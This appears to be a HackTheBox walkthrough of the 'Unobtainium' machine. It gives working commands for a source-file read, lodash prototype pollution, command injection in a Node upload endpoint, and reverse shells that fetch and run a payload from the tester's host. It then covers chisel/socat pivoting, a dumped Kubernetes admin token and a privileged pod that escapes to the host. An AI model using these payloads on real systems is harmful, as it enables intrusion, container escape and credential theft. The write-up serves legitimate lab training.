Unobtainium
On this page

We start by exploiting a prototype pollution vulnerability. Then we leverage a command injection CVE to get a shell in a container. For privilege escalation, we pivot between Kubernetes containers and analyze the secrets of a namespace. Finally, using the permission to create pods, we break out of the container.
June 18, 202417 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
ping -c 1 10.10.10.235
PING 10.10.10.235 (10.10.10.235) 56(84) bytes of data.
64 bytes from 10.10.10.235: icmp_seq=1 ttl=63 time=175 ms
--- 10.10.10.235 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 175.026/175.026/175.026/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.235 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.235
5 │ [*] Open ports: 22,80,8443,31337,10250,10251
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
> nmap -p22,80,8443,31337,10250,10251 -sCV 10.10.10.235 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: aafb70ca-6fef-48e4-9836-d57c119bed8d
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 12 Jun 2024 22:07:50 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: ea15ea5d-000a-4a41-a427-8815265b480b
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 12 Jun 2024 22:07:50 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 746cb85a-03d1-4509-8e50-d3911982b1fa
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 12 Jun 2024 22:07:50 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2024-10-26T13:35:54
|_http-title: Site doesn't have a title (application/json).
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.10.235
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2025-06-12T21:59:31
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10251/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Wed, 12 Jun 2024 22:08:10 GMT
| Content-Length: 19
| page not found
| GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Wed, 12 Jun 2024 22:07:44 GMT
| Content-Length: 19
|_ page not found
31337/tcp open http Node.js Express framework
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
App
We start by visiting the website on port 80.

It seems the machine hosts a chat application. From the website we can download the application.
The download gives us a compressed file called unobtainium_debian.zip.
> ls | grep unobtainium
unobtainium_debian.zip
After unzipping it, we find a .deb file, which we install with sudo apt install ./unobtainium_1.0.0_amd64.deb.
Once installed, we run it with the unobtainium command.
When it runs, a window opens saying it can’t find the domain unobtainium.htb, so we add it to /etc/hosts pointing to the target machine’s IP. From this message we deduce that the application doesn’t work only locally, but connects to a server…
The application has 3 features:
Message Log:

Post Message:

Todo:

As we saw before, this application connects to the unobtainium.htb server, so we’ll use Wireshark to intercept the communication between the application and the server when we use any of the 3 features above.
Post Message:

A request is sent with the PUT method to unobtainium.htb:31337. As data, we’re sending the following JSON:
{
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"message": {
"text": "Testing3"
}
}
First, authentication with a username and password takes place, and then the message is sent.
Message Log:

It simply makes a GET request to unobtainium.htb:31337, and the response contains the log of messages sent to the server
{
"icon": "__",
"text": "Testing3",
"id": 1,
"timestamp": 1718709973974,
"userName": "felamos"
}
Todo:

In the todo section, a request is made with the POST method to unobtainium.htb:31337/todo, and the data is what looks like a file name
{
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"filename": "todo.txt"
}
In the response we see what looks like the contents of that file
{
"ok": true,
"content": [
"1. Create administrator zone.",
"2. Update Node.js API Server.",
"3. Add Login functionality.",
"4. Complete Get Messages feature.",
"5. Complete ToDo feature.",
"6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1",
"7. Improve security"
]
}
With this, the first thing that comes to mind is an LFI
curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"/etc/passwd"}'
curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"../../../../../../../etc/passwd"}'
curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"....//....//....//....//....//....//....//etc/passwd"}'
But we can’t read /etc/passwd
If we remember, nmap said we’re dealing with Node.js on port 31337, so there has to be an index.js in the project root; let’s try to read it
curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}'
{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n {name: 'felamos', password: 'Winter2021'},\n {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n return users.find((u) =>\n u.name === auth.name &&\n u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n res.send(messages);\n});\n\napp.put('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n const message = {\n icon: '__',\n };\n\n _.merge(message, req.body.message, {\n id: lastId++,\n timestamp: Date.now(),\n userName: user.name,\n });\n\n messages.push(message);\n res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user || !user.canDelete) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n messages = messages.filter((m) => m.id !== req.body.messageId);\n res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user || !user.canUpload) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n\n filename = req.body.filename;\n root.upload(\"./\",filename, true);\n res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n filename = req.body.filename;\n testFolder = \"/usr/src/app\";\n fs.readdirSync(testFolder).forEach(file => {\n if (file.indexOf(filename) > -1) {\n var buffer = fs.readFileSync(filename).toString();\n res.send({ok: true, content: buffer});\n }\n });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
let messages = [];
let lastId = 1;
function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}
app.use(bodyParser.json());
app.get('/', (req, res) => {
res.send(messages);
});
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {
icon: '__',
};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./", filename, true);
res.send({ok: true, Uploaded_File: filename});
});
app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});
app.listen(3000);
console.log('Listening on port 3000...');
Now we have much more information about the application.
At the beginning of the code, 2 users are declared:
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
We already knew about felamos, but a new user shows up: admin. We can’t see the password, since it’s random and generated at runtime. Apart from the name and password, we see there are 2 ‘roles’, canDelete and canUpload. admin has both set to true, but felamos has neither.
We find a new function, upload, which only users with the canUpload role can use.
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./", filename, true);
res.send({ok: true, Uploaded_File: filename});
});
The file is uploaded with root.upload, but where does that come from?
At the top of the code, google-cloudstorage-commands is imported
var root = require("google-cloudstorage-commands");
An online search reveals that it’s vulnerable to an OS command injection: https://security.snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431
This is the PoC:
var root = require("google-cloudstorage-commands");
root.upload("./","& touch JHU", true);
It looks like a very simple OS command injection.
That’s great, but we can’t upload files, since the user felamos doesn’t have the role to do so. Let’s keep enumerating…
In the message posting function, we see a merge done without sanitization, which allows prototype pollution
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {
icon: '__',
};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
We can try a prototype pollution to set canUpload to true; we can sneak the prototype pollution into req.body.message.
curl -X PUT \
-H "Content-Type: application/json" \
-d '{
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"message": {
"test": "something",
"__proto__": {
"canUpload": true
}
}
}' \
http://unobtainium.htb:31337
Now ALL users will have canUpload set to true.
┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "malicious-script.js"}'
{"ok":false,"error":"Access denied"}
┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"test": "something","__proto__": {"canUpload": true}}}' http://unobtainium.htb:31337
{"ok":true}
┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "malicious-script.js"}'
{"ok":true,"Uploaded_File":"malicious-script.js"}
We can upload files now!
If we remember the CVE we found earlier, we can use it to run commands. To check that we have remote command execution, we listen for ICMP packets with tcpdump on the tun0 interface
$ sudo tcpdump -i tun0 icmp
And we send the payload
$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& ping -c 1 10.10.14.47"}'
{"ok":true,"Uploaded_File":"& ping -c 1 10.10.14.47"}
It works!!!
The ICMP packet arrives
16:18:51.721013 IP unobtainium.htb > 10.10.14.47: ICMP echo request, id 51165, seq 1, length 64
16:18:51.721055 IP 10.10.14.47 > unobtainium.htb: ICMP echo reply, id 51165, seq 1, length 64
To get the reverse shell, we create a file called shell with the reverse shell code inside, and then start a Python server so the target machine can access this file
$ cat shell
bash -c "bash -i >& /dev/tcp/10.10.14.47/443 0>&1"
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
We listen on port 443 to receive the reverse shell
nc -nlvp 443
And finally we send the payload
curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& curl 10.10.14.47/shell | bash"}'
We have the reverse shell
$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 9372
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-zjnnh:/usr/src/app#
Before going on, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm
export TERM=xterm
Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash
export SHELL=bash
Privilege escalation
We’re inside a container as root, so we need to break out. To enumerate the container we use linpeas.sh, a tool that automates reconnaissance for privilege escalation and containers.

To enumerate Kubernetes, we’ll upload the kubectl binary to the machine
We check whether we can list namespaces
root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl auth can-i list namespaces
Warning: resource 'namespaces' is not namespace scoped
yes
We can, so we list them
root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl get namespaces
NAME STATUS AGE
default Active 659d
kube-system Active 659d
kube-public Active 659d
kube-node-lease Active 659d
dev Active 659d
There is a namespace whose name stands out, dev. What we can do now is list the pods in the dev namespace
root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl get pods -n dev
NAME READY STATUS RESTARTS AGE
devnode-deployment-776dbcf7d6-g4659 1/1 Running 6 (235d ago) 659d
devnode-deployment-776dbcf7d6-7gjgf 1/1 Running 6 (235d ago) 659d
devnode-deployment-776dbcf7d6-sr6vj 1/1 Running 6 (235d ago) 659d
Once we have the pods, we run describe to get more info on the first pod
./kubectl describe pods/devnode-deployment-776dbcf7d6-g4659 -n dev
Name: devnode-deployment-776dbcf7d6-g4659
Namespace: dev
Priority: 0
Service Account: default
Node: unobtainium/10.10.10.235
Start Time: Mon, 29 Aug 2022 09:32:21 +0000
Labels: app=devnode
pod-template-hash=776dbcf7d6
Annotations: <none>
Status: Running
IP: 10.42.0.62
IPs:
IP: 10.42.0.62
Controlled By: ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
devnode:
Container ID: docker://733280337cc5998774d1a54dd9c8d0bc59f09053952f497050267389b18c08a9
Image: localhost:5000/node_server
Image ID: docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
Port: 3000/TCP
Host Port: 0/TCP
State: Running
Started: Tue, 18 Jun 2024 11:08:53 +0000
Last State: Terminated
Reason: Error
Exit Code: 137
Started: Fri, 27 Oct 2023 15:17:48 +0000
Finished: Fri, 27 Oct 2023 15:24:53 +0000
Ready: True
Restart Count: 6
Environment: <none>
Mounts:
/root/ from user-flag (rw)
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ww6h2 (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
user-flag:
Type: HostPath (bare host directory volume)
Path: /opt/user/
HostPathType:
kube-api-access-ww6h2:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>
This pod has the IP 10.42.0.62 with port 3000 open, and we’re on 10.42.0.70.
If we curl port 3000 on the pod, it seems to be running the same service we compromised in the 10.42.0.70 container
root@webapp-deployment-9546bc7cb-zjnnh:~# curl 10.42.0.62:3000
[]
root@webapp-deployment-9546bc7cb-zjnnh:~# curl 10.42.0.70:3000
[{"icon":"__","test":"something","id":1,"timestamp":1718714423614,"userName":"felamos"}]root@webapp-deployment-9546bc7cb-zjnnh:~#
What we can try is to compromise the container inside the dev namespace and see whether we have any special privileges inside it
For this we’ll do some pivoting…
First we transfer chisel and socat to the target machine
From our machine we start a chisel server on port 1234
./chisel server --reverse -p 1234
From the target machine we connect to that server
./chisel client 10.10.14.47:1234 R:socks &
Then, at the very bottom of the proxychains config file, we add
socks5 127.0.0.1 1080
Now we should be able to curl port 3000 on the dev namespace pod from our machine
sudo proxychains curl 10.42.0.62:3000 2>/dev/null
[]
We exploit the prototype pollution
sudo proxychains curl -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"test": "something","__proto__": {"canUpload": true}}}' http://10.42.0.62:3000 2>/dev/null
We could send the reverse shell directly, but I don’t feel like it, so we’ll use socat: we’ll send the reverse shell to the first container, and the first container will forward it to us with socat.
$ cat shell2
bash -c "bash -i >& /dev/tcp/10.42.0.70/4433 0>&1"
$ sudo python3 -m http.server 80
We run socat on the first container so it forwards the reverse shell to our machine.
./socat TCP-LISTEN:4433,fork TCP:10.10.14.47:4433
We run a second socat so that when we curl 10.42.0.70 to get the reverse shell code, the request is forwarded to our IP
./socat TCP-LISTEN:80,fork TCP:10.10.14.47:80
We listen on port 4433
nc -nlvp 443
Finally, we run the payload and get the shell.
sudo proxychains curl -X POST http://10.42.0.64:3000/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& curl 10.42.0.70/shell2 | bash"}'
nc -nlvp 4433
listening on [any] 4433 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 24106
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app#
Inside this container we transfer kubectl to enumerate Kubernetes. To transfer it, I’ll take advantage of the socat we used before: I’ll make a request to 10.42.0.70/kubectl, which the 10.42.0.70 container will forward to my machine.
wget 10.42.0.70/kubectl
With kubectl we can check whether we have permission to enumerate secrets in this container
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n default
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-system
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-public
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-node-lease
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n dev
no
We don’t have any permission different from the other pod. There were more containers in the dev namespace, so we’ll try repeating the same process, but this time to jump to 10.42.0.62
nc -nlvp 4433
listening on [any] 4433 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 48507
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# script /dev/null -c bash
<bcf7d6-g4659:/usr/src/app# script /dev/null -c bash
Script started, file is /dev/null
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app#
We transfer kubectl
wget 10.42.0.70/kubectl
We check again whether we have permission to enumerate secrets:
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl auth can-i get secrets -n default
no
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl auth can-i get secrets -n kube-system
yes
We can enumerate the secrets in the kube-system namespace
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl get secrets -n kube-system
NAME TYPE DATA AGE
unobtainium.node-password.k3s Opaque 1 659d
horizontal-pod-autoscaler-token-2fg27 kubernetes.io/service-account-token 3 659d
coredns-token-jx62b kubernetes.io/service-account-token 3 659d
local-path-provisioner-service-account-token-2tk2q kubernetes.io/service-account-token 3 659d
statefulset-controller-token-b25sg kubernetes.io/service-account-token 3 659d
certificate-controller-token-98jdq kubernetes.io/service-account-token 3 659d
root-ca-cert-publisher-token-t564t kubernetes.io/service-account-token 3 659d
ephemeral-volume-controller-token-brb5h kubernetes.io/service-account-token 3 659d
ttl-after-finished-controller-token-wf8k9 kubernetes.io/service-account-token 3 659d
replication-controller-token-9m8mh kubernetes.io/service-account-token 3 659d
service-account-controller-token-6vsl2 kubernetes.io/service-account-token 3 659d
node-controller-token-dfztj kubernetes.io/service-account-token 3 659d
metrics-server-token-d4k84 kubernetes.io/service-account-token 3 659d
pvc-protection-controller-token-btkqg kubernetes.io/service-account-token 3 659d
pv-protection-controller-token-k8gq8 kubernetes.io/service-account-token 3 659d
endpoint-controller-token-zd5b9 kubernetes.io/service-account-token 3 659d
disruption-controller-token-cnqj8 kubernetes.io/service-account-token 3 659d
cronjob-controller-token-csxvj kubernetes.io/service-account-token 3 659d
endpointslice-controller-token-wrnvm kubernetes.io/service-account-token 3 659d
pod-garbage-collector-token-56dzk kubernetes.io/service-account-token 3 659d
namespace-controller-token-g8jmq kubernetes.io/service-account-token 3 659d
daemon-set-controller-token-b68xx kubernetes.io/service-account-token 3 659d
replicaset-controller-token-7fkxv kubernetes.io/service-account-token 3 659d
job-controller-token-xctqc kubernetes.io/service-account-token 3 659d
ttl-controller-token-rsshv kubernetes.io/service-account-token 3 659d
deployment-controller-token-npk6k kubernetes.io/service-account-token 3 659d
attachdetach-controller-token-xvj9h kubernetes.io/service-account-token 3 659d
endpointslicemirroring-controller-token-b5r69 kubernetes.io/service-account-token 3 659d
resourcequota-controller-token-8pp4p kubernetes.io/service-account-token 3 659d
generic-garbage-collector-token-5nkzj kubernetes.io/service-account-token 3 659d
persistent-volume-binder-token-865v2 kubernetes.io/service-account-token 3 659d
expand-controller-token-f2csp kubernetes.io/service-account-token 3 659d
clusterrole-aggregation-controller-token-wp8k6 kubernetes.io/service-account-token 3 659d
default-token-h5tf2 kubernetes.io/service-account-token 3 659d
c-admin-token-b47f7 kubernetes.io/service-account-token 3 659d
k3s-serving kubernetes.io/tls 2 235d
Among all the secrets, c-admin-token-b47f7 stands out. To see its contents, we use the following command
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl describe secrets/c-admin-token-b47f7 -n kube-system
Name: c-admin-token-b47f7stem659:/usr/src/app# ./kubectl2 describe secret
Namespace: kube-system
Labels: <none>
Annotations: kubernetes.io/service-account.name: c-admin
kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c
Type: kubernetes.io/service-account-token
Data
====
namespace: 11 bytes
token: eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
ca.crt: 570 bytes
Now we have the token, which we’ll save in a file called token. Now we check whether we have elevated permissions with this token, starting by checking whether we can create pods with it
./kubectl auth --token $(cat token) can-i create pod
yes
We can.
This page explains how to escape from the container with this privilege: https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes
We’re going to create a pod, so first we create the following YAML
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# cat mount_root.yaml
apiVersion: v1
kind: Pod
metadata:
name: pwned2
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: pwned
image: localhost:5000/node_server
securityContext:
privileged: true
volumeMounts:
- mountPath: /root/
name: getflag
command: [ "/bin/bash" ]
args: [ "-c", "/bin/bash -i >& /dev/tcp/10.10.14.47/4434 0>&1;" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: getflag
hostPath:
path: /root/
What this does is that, when we create the pod with this YAML, the command we specify in command: is run from the host machine
As the image we use localhost:5000/node_server, since, being HackTheBox, the machine doesn’t have internet access and we can’t use an ubuntu image. localhost:5000 is the image used for the other pods; we saw this when we ran describe on the pod
Image: localhost:5000/node_server
We start listening
nc -nlvp 4434
We create the pod
./kubectl --token $(cat token) create -f mount_root.yaml
We get the shell!
nc -nlvp 4434
listening on [any] 4434 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 45130
bash: cannot set terminal process group (171718): Inappropriate ioctl for device
bash: no job control in this shell
root@unobtainium:/usr/src/app#
We’re now on the host machine as root
Machine completed